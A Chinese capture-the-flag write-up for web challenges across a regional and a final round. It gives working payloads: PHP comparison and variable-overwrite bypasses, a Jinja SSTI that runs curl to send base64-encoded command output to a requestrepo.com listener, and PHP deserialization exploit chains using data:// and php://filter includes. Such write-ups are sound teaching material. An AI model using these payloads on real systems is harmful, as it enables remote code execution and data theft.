0x01前言
真的很想喷这个比赛的服务器和环境,每次要么打到一半就卡死了要么平台都进不去,而且还是公共平台,太让我失望了感觉,而且很多无厘头的猜谜,一点知识点都没有
区域赛
哪吒的试炼

根据食物和莲藕的提示,猜测传入?food=lotus root后发现有302跳转

在前端代码中删去disable即可解开封印

拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php if (isset($_POST['nezha'])) { $nezha = json_decode($_POST['nezha']);
$seal_incantation = $nezha->incantation; $md5 = $nezha->md5; $secret_power = $nezha->power; $true_incantation = "I_am_the_spirit_of_fire";
$final_incantation = preg_replace( "/" . preg_quote($true_incantation, '/') . "/", '', $seal_incantation );
if ($final_incantation === $true_incantation && md5($md5) == md5($secret_power) && $md5 !== $secret_power) { show_flag(); } else { echo "<p>封印的力量依旧存在,你还需要再试试!</p>"; } } else { echo "<br><h3>夜色渐深,风中传来隐隐的低语……</h3>"; echo "<h3>只有真正的勇者才能找到破局之法。</h3>"; } ?>
|
这里会在seal中去掉true的内容,但是又要求去掉后得等于true的内容,这里怎么绕过呢
本地测试了一下

所以双写绕过就可以了
1
| nezha={"incantation":"I_am_the_spiI_am_the_spirit_of_firerit_of_fire","md5":"240610708","power":"QNKCDZO"}
|
回归基本功

看了这里用户代理猜到是UA头,但是传入那两个例子没什么变化,后面看到提示是计算机行业的专家,然后看到高级工程师,猜测就是这个人,在process.php页面传UA头GaoJiGongChengShiFoYeGe
拿到源码文件

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| <?php show_source(__FILE__); include('E8sP4g7UvT.php'); $a=$_GET['huigui_jibengong.1']; $b=$_GET['huigui_jibengong.2']; $c=$_GET['huigui_jibengong.3'];
$jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b); if($jiben==1) { if(intval($b) == 'jibengong') { if(strpos($b, "0")==0) { echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } else { $$c = $a; parse_str($b,$huiguiflag); if($huiguiflag[$jibengong]==md5($c)) { echo $flag; } else{ echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } } } else { echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } } else { echo '基本功不够扎实啊!'; echo '<br>'; echo '还得再练!'; } ?>
|
一层层进吧
先看第一层
1 2
| $jiben = is_numeric($a) and preg_match('/^[a-z0-9]+$/',$b); if($jiben==1)
|
这里的话因为and优先级比较低,所以jiben的值只取决于$a的条件,设置$a为数字就行
然后看第二层
1
| if(intval($b) == 'jibengong')
|
让b的值用+0或者e都行,intval会解析为0,然后字符串也是0,弱等于满足

我们需要进入else语句,所以$b的开头不能为0
1 2 3 4 5 6
| $$c = $a; parse_str($b,$huiguiflag); if($huiguiflag[$jibengong]==md5($c)) { echo $flag; }
|
有动态变量和变量覆盖,因为这里需要设置$huiguiflag中的键$jibengong为md5($c),但是直接传
这样貌似不行,会解析错误,尝试让该键的键名换一下,那就只能在动态变量中玩一下了
1 2 3 4 5 6 7
| 设置c=jibengong 因为之前设置$a=1 因此 $jibengong=1 然后我们对b传入 $b="e&1=e559dcee72d03a13110efe9b6355b30d" e559dcee72d03a13110efe9b6355b30d为jibengong的md5值
|
所以最后的payload(注意这里的参数解析)

调试过程

payload
1
| ?huigui[jibengong.1=1&huigui[jibengong.2=e%261=e559dcee72d03a13110efe9b6355b30d&huigui[jibengong.3=jibengong
|
十八铜人阵
需要传入六个方位,电影中依次是
1 2 3 4 5
| 西南方 东南方 北方 西方 东北方一个,东方一个
|
测了半天,才知道最后一个是get传的参数,虽然他参数名给的提示蛮明显的但是之前没试过
请求包
1 2 3 4 5 6 7 8 9 10 11 12 13
| POST /submit-answers?aGnsEweTr6=%E4%B8%9C%E6%96%B9 HTTP/1.1 Host: 112.126.73.173:16340 Accept-Language: zh-CN,zh;q=0.9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Origin: http://112.126.73.173:16340 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: http://112.126.73.173:16340/ X-Requested-With: XMLHttpRequest Accept: */* Content-Length: 173
answer1=%E8%A5%BF%E5%8D%97%E6%96%B9&answer2=%E4%B8%9C%E5%8D%97%E6%96%B9&answer3=%E5%8C%97%E6%96%B9&answer4=%E8%A5%BF%E6%96%B9&answer5=%E4%B8%9C%E5%8C%97%E6%96%B9
|

源码中找到一个路由,带着cookie访问

之前在源码看到很多佛曰,然后查到了佛曰解密https://pi.hahaka.com/

挨个拿去解一下拿到

路由是探本穷源拼音反过来nauygnoiqnebnat(猜半天真的想喷人, 只能说是我太菜了)
访问后是需要传一个yongzheng,测出来是ssti,但是fenjing还不能跑,直接绕过打curl外带
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| POST /nauygnoiqnebnat?a=__globals__&b=__getitem__&c=os&d=popen&e=curl+https://4fz7yove.requestrepo.com/`cat+kGf5tN1yO8M|base64` HTTP/1.1 Host: 112.126.73.173:16340 Content-Length: 134 Pragma: no-cache Cache-Control: no-cache X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: */* Content-Type: application/x-www-form-urlencoded Origin: http://112.126.73.173:16340 Referer: http://112.126.73.173:16340/nauygnoiqnebnat Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: session=eyJhbnN3ZXJzX2NvcnJlY3QiOnRydWV9.aCKsMQ.X9UWN4Wx1zFF6vpu-9nl0JU5vDQ Connection: close
yongzheng={{(lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.e)).read()}}
|
然后接收

解码后拿到目录

kGf5tN1yO8M就是flag文件,读一下就出来了
想犯大吴疆土吗
传入那四个装备拿到源码
1 2 3 4 5 6 7 8 9 10 11 12
| GET /?box1=%E5%8F%A4%E9%94%AD%E5%88%80&box2=%E6%9D%80&box3=%E9%85%92&box4=%E9%93%81%E7%B4%A2%E8%BF%9E%E7%8E%AF HTTP/1.1 Host: 112.126.73.173:49101 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=515a4a744cb2d53dd77dd970febd696a Connection: close
|
拿到reward.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79
| <?php if (!isset($_GET['xusheng'])) { ?> <html> <head><title>Reward</title></head> <body style="font-family:sans-serif;text-align:center;margin-top:15%;"> <h2>想直接拿奖励?</h2> <h1>尔要试试我宝刀是否锋利吗?</h1> </body> </html> <?php exit; }
error_reporting(0); ini_set('display_errors', 0); ?>
<?php
class GuDingDao { public $desheng;
public function __construct() { $this->desheng = array(); }
public function __get($yishi) { $dingjv = $this->desheng; $dingjv(); return "下次沙场相见, 徐某定不留情"; } }
class TieSuoLianHuan { protected $yicheng;
public function append($pojun) { include($pojun); }
public function __invoke() { $this->append($this->yicheng); } }
class Jie_Xusheng { public $sha; public $jiu;
public function __construct($secret = 'reward.php') { $this->sha = $secret; }
public function __toString() { return $this->jiu->sha; }
public function __wakeup() { if (preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->sha)) { echo "你休想偷看吴国机密"; $this->sha = "reward.php"; } } }
echo '你什么都没看到?那说明……有东西你没看到<br>';
if (isset($_GET['xusheng'])) { @unserialize($_GET['xusheng']); } else { $a = new Jie_Xusheng; highlight_file(__FILE__); }
|
这个链子的话触发是通过正则去触发__toString()
的,然后正常打就行
1
| Jie_Xusheng::__wakeup()->Jie_Xusheng::__toString()->GuDingDao::__get()->TieSuoLianHuan::__invoke()->TieSuoLianHuan::append()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class GuDingDao { public $desheng; }
class TieSuoLianHuan { public $yicheng; }
class Jie_Xusheng { public $sha; public $jiu;
}
$a=new Jie_Xusheng(); $a->sha=new Jie_Xusheng(); $a->sha->jiu=new GuDingDao();
$a->sha->jiu->desheng=new TieSuoLianHuan(); $a->sha->jiu->desheng->yicheng='data://text/plain,<?php system("ls"); ?>'; echo urlencode(serialize($a));
|
结果本地出来了远程没出来,想起之前在源码给的一个暗示,说是有坑,猜测某个类的类名和属性名有问题,最后找出来是GuDingDao
这个类有问题
最终的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php class GuDingDa0 { public $desheng; }
class TieSuoLianHuan { public $yicheng; }
class Jie_Xusheng { public $sha; public $jiu;
}
$a=new Jie_Xusheng(); $a->sha=new Jie_Xusheng(); $a->sha->jiu=new GuDingDa0();
$a->sha->jiu->desheng=new TieSuoLianHuan();
$a->sha->jiu->desheng->yicheng='php://filter/convert.base64-encode/resource=flag.php'; echo urlencode(serialize($a));
|
决赛
谁动了我的奶酪
传入Tom拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php ini_set('display_errors', 0); error_reporting(0);
echo "<h2>据目击鼠鼠称,那Tom坏猫确实拿了一块儿奶酪,快去找找吧!</h2>"; error_reporting(0);
$code = file_get_contents(__FILE__); highlight_string($code);
class Tom{ public $stolenCheese; public $trap; public function __construct($file='cheesemap.php'){ $this->stolenCheese = $file; echo "Tom盯着你,想要守住他抢走的奶酪!"."<br>"; } public function revealCheeseLocation(){ if($this->stolenCheese){ $cheeseGuardKey = "cheesemap.php"; echo nl2br(htmlspecialchars(file_get_contents($this->stolenCheese))); $this->stolenCheese = str_rot3($cheeseGuardKey); } } public function __toString(){ if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== "JerryBrowser") { echo "<h3>Tom 盯着你的浏览器,觉得它不太对劲……</h3>"; }else{ $this->trap['trap']->stolenCheese; return "Tom"; } }
public function stoleCheese(){ $Messages = [ "<h3>Tom偷偷看了你一眼,然后继续啃奶酪...</h3>", "<h3>墙角的奶酪碎屑消失了,它们去了哪里?</h3>", "<h3>Cheese的香味越来越浓,谁在偷吃?</h3>", "<h3>Jerry皱了皱眉,似乎察觉到了什么异常……</h3>", ]; echo $Messages[array_rand($Messages)]; $this->revealCheeseLocation(); } }
class Jerry{ protected $secretHidingSpot; public $squeak; public $shout; public function searchForCheese($mouseHole){ include($mouseHole); } public function __invoke(){ $this->searchForCheese($this->secretHidingSpot); } }
class Cheese{ public $flavors; public $color; public function __construct(){ $this->flavors = array(); } public function __get($slice){ $melt = $this->flavors; return $melt(); } public function __destruct(){ unserialize($this->color)(); echo "Where is my cheese?"; } }
if (isset($_GET['cheese_tracker'])) { unserialize($_GET['cheese_tracker']); }elseif(isset($_GET["clue"])){ $clue = $_GET["clue"]; $clue = str_replace(["T", "h", "i", "f", "!"], "*", $clue); if (unserialize($clue)){ unserialize($clue)->squeak = "Thief!"; if(unserialize($clue)->shout === unserialize($clue)->squeak) echo "cheese is hidden in ".$where; else echo "OHhhh no!find it yourself!"; } }
?>
|
一个很简单的反序列化直接打
触发链子
1
| Cheese::__destruct()->Tom::__toString()->Cheese::__get()->Jerry::__invoke()->Jerry::searchForCheese()
|
然后写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php class Tom{ public $stolenCheese; public $trap; }
class Jerry{ public $secretHidingSpot; public $squeak; public $shout; }
class Cheese{ public $flavors; public $color; }
$a = new Cheese(); $a->color = new Tom(); $a->color->trap = ["trap"=>new Cheese()];
$a->color->trap["trap"]->flavors =new Jerry(); $a->color->trap["trap"]->flavors->secretHidingSpot="php://filter/convert.base64-encode/resource=clue.php";
echo urlencode(serialize($a));
|
因为会经过__toString()
方法,所以需要伪造一下UA头
传进去拿到base64编码

跟着读拿到第一段flag,然后就没头绪了
后来发现include可以打filter chain,列出目录后一样的去进行文件包含就行
拿到文件名c3933845e2b7d466a9776a84288b8d86.php,读出来一段异或的结果,但是具体异或多少不知道,可以直接用厨子进行范围异或

同样的既然我们可以列出目录,当然也可以尝试getshell进行RCE
最后想骂一句,平台太烂了!
